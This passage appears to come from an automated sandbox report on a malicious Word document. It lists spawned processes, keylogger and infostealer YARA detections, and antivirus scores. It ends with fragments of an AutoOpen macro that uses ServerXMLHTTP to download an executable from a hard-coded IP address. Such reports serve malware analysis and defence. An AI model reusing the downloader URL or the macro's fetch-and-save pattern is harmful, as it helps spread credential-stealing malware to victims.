                                                                                                                                                        Reputation:high
                                                                                                                                                        Has exited:true

                                                                                                                                                        General

                                                                                                                                                        Target ID:6
                                                                                                                                                        Start time:02:08:15
                                                                                                                                                        Start date:14/01/2025
                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                        Reputation:high
                                                                                                                                                        Has exited:true

                                                                                                                                                        General

                                                                                                                                                        Target ID:8
                                                                                                                                                        Start time:02:08:17
                                                                                                                                                        Start date:14/01/2025
                                                                                                                                                        Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
                                                                                                                                                        Imagebase:0x240000
                                                                                                                                                        File size:236'544 bytes
                                                                                                                                                        MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                        Reputation:high
                                                                                                                                                        Has exited:true

                                                                                                                                                        General

                                                                                                                                                        Target ID:9
                                                                                                                                                        Start time:02:08:17
                                                                                                                                                        Start date:14/01/2025
                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                        Reputation:high
                                                                                                                                                        Has exited:true

                                                                                                                                                        General

                                                                                                                                                        Target ID:10
                                                                                                                                                        Start time:02:08:18
                                                                                                                                                        Start date:14/01/2025
                                                                                                                                                        Path:C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                        Commandline:C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        Imagebase:0x400000
                                                                                                                                                        File size:175'800 bytes
                                                                                                                                                        MD5 hash:22331ABCC9472CC9DC6F37FAF333AA2C
                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                        Yara matches:
                                                                                                                                                        • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000A.00000002.3463602515.000000002B9EA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000A.00000001.1859265751.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                        • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                        • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                        • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                        • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                        • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                        • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                        • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                        • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.3463602515.000000002B8D4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000A.00000002.3463602515.000000002B8D4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000A.00000002.3463602515.000000002B801000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                        • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                        Antivirus matches:
                                                                                                                                                        • Detection: 3%, ReversingLabs
                                                                                                                                                        Reputation:moderate
                                                                                                                                                        Has exited:false

                                                                                                                                                        General

                                                                                                                                                        Target ID:13
                                                                                                                                                        Start time:02:08:29
                                                                                                                                                        Start date:14/01/2025
                                                                                                                                                        Path:C:\Users\Public\Libraries\Nsltarpn.PIF
                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                        Commandline:"C:\Users\Public\Libraries\Nsltarpn.PIF"
                                                                                                                                                        Imagebase:0x400000
                                                                                                                                                        File size:1'443'328 bytes
                                                                                                                                                        MD5 hash:8D3E16CB3CE3940E87A322FBEEAB419F
                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                        Programmed in:Borland Delphi
                                                                                                                                                        Antivirus matches:
                                                                                                                                                        • Detection: 100%, Joe Sandbox ML
                                                                                                                                                        • Detection: 47%, ReversingLabs
                                                                                                                                                        Reputation:low
                                                                                                                                                        Has exited:true

                                                                                                                                                        General

                                                                                                                                                        Target ID:14
                                                                                                                                                        Start time:02:08:30
                                                                                                                                                        Start date:14/01/2025
                                                                                                                                                        Path:C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                        Commandline:C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        Imagebase:0x400000
                                                                                                                                                        File size:175'800 bytes
                                                                                                                                                        MD5 hash:22331ABCC9472CC9DC6F37FAF333AA2C
                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                        Yara matches:
                                                                                                                                                        • Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000E.00000002.3457231521.0000000021781000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000E.00000002.3432289694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                        • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                        • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                        • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                        • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000E.00000002.3457231521.00000000218FB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                        • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                        • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                        • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                        • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                        • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 0000000E.00000001.1974371913.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                        Reputation:moderate
                                                                                                                                                        Has exited:false

                                                                                                                                                        General

                                                                                                                                                        Target ID:15
                                                                                                                                                        Start time:02:08:37
                                                                                                                                                        Start date:14/01/2025
                                                                                                                                                        Path:C:\Users\Public\Libraries\Nsltarpn.PIF
                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                        Commandline:"C:\Users\Public\Libraries\Nsltarpn.PIF"
                                                                                                                                                        Imagebase:0x400000
                                                                                                                                                        File size:1'443'328 bytes
                                                                                                                                                        MD5 hash:8D3E16CB3CE3940E87A322FBEEAB419F
                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                        Programmed in:Borland Delphi
                                                                                                                                                        Reputation:low
                                                                                                                                                        Has exited:true

                                                                                                                                                        General

                                                                                                                                                        Target ID:16
                                                                                                                                                        Start time:02:08:38
                                                                                                                                                        Start date:14/01/2025
                                                                                                                                                        Path:C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                        Commandline:C:\Users\Public\Libraries\npratlsN.pif
                                                                                                                                                        Imagebase:0x400000
                                                                                                                                                        File size:175'800 bytes
                                                                                                                                                        MD5 hash:22331ABCC9472CC9DC6F37FAF333AA2C
                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                        Yara matches:
                                                                                                                                                        • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                        • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                        • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                        • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                        • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000010.00000002.3432404801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                        • Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000010.00000002.3457162026.000000002BE91000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                        • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000010.00000001.2054825787.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                        • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                        • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                        • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                        • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                        Reputation:moderate
                                                                                                                                                        Has exited:false

                                                                                                                                                        Disassembly

                                                                                                                                                        Code Analysis

                                                                                                                                                        Call Graph

                                                                                                                                                        • Entrypoint
                                                                                                                                                        • Decryption Function
                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        • Show Help
                                                                                                                                                        callgraph 9 AutoOpen Shell:1,CreateObject:2,Open:1,Send:1

                                                                                                                                                        Module: ThisDocument

                                                                                                                                                        Declaration
                                                                                                                                                        LineContent
                                                                                                                                                        1

                                                                                                                                                        Attribute VB_Name = "ThisDocument"

                                                                                                                                                        2

                                                                                                                                                        Attribute VB_Base = "1Normal.ThisDocument"

                                                                                                                                                        3

                                                                                                                                                        Attribute VB_GlobalNameSpace = False

                                                                                                                                                        4

                                                                                                                                                        Attribute VB_Creatable = False

                                                                                                                                                        5

                                                                                                                                                        Attribute VB_PredeclaredId = True

                                                                                                                                                        6

                                                                                                                                                        Attribute VB_Exposed = True

                                                                                                                                                        7

                                                                                                                                                        Attribute VB_TemplateDerived = True

                                                                                                                                                        8

                                                                                                                                                        Attribute VB_Customizable = True

                                                                                                                                                        Executed Functions

                                                                                                                                                        Subroutine

                                                                                                                                                        AutoOpenAPIs: 6, Strings: 20, Number of lines: 59, Relevance: 70.059

                                                                                                                                                        APIsMeta Information

                                                                                                                                                        CreateObject

                                                                                                                                                        		CreateObject("MSXML2.ServerXMLHTTP")

                                                                                                                                                        CreateObject

                                                                                                                                                        		CreateObject("Adodb.Stream")

                                                                                                                                                        Open

                                                                                                                                                        		IServerXMLHTTPRequest2.Open("GET","http://147.124.216.113/albt.exe",False)

                                                                                                                                                        Send

                                                                                                                                                        responsebody

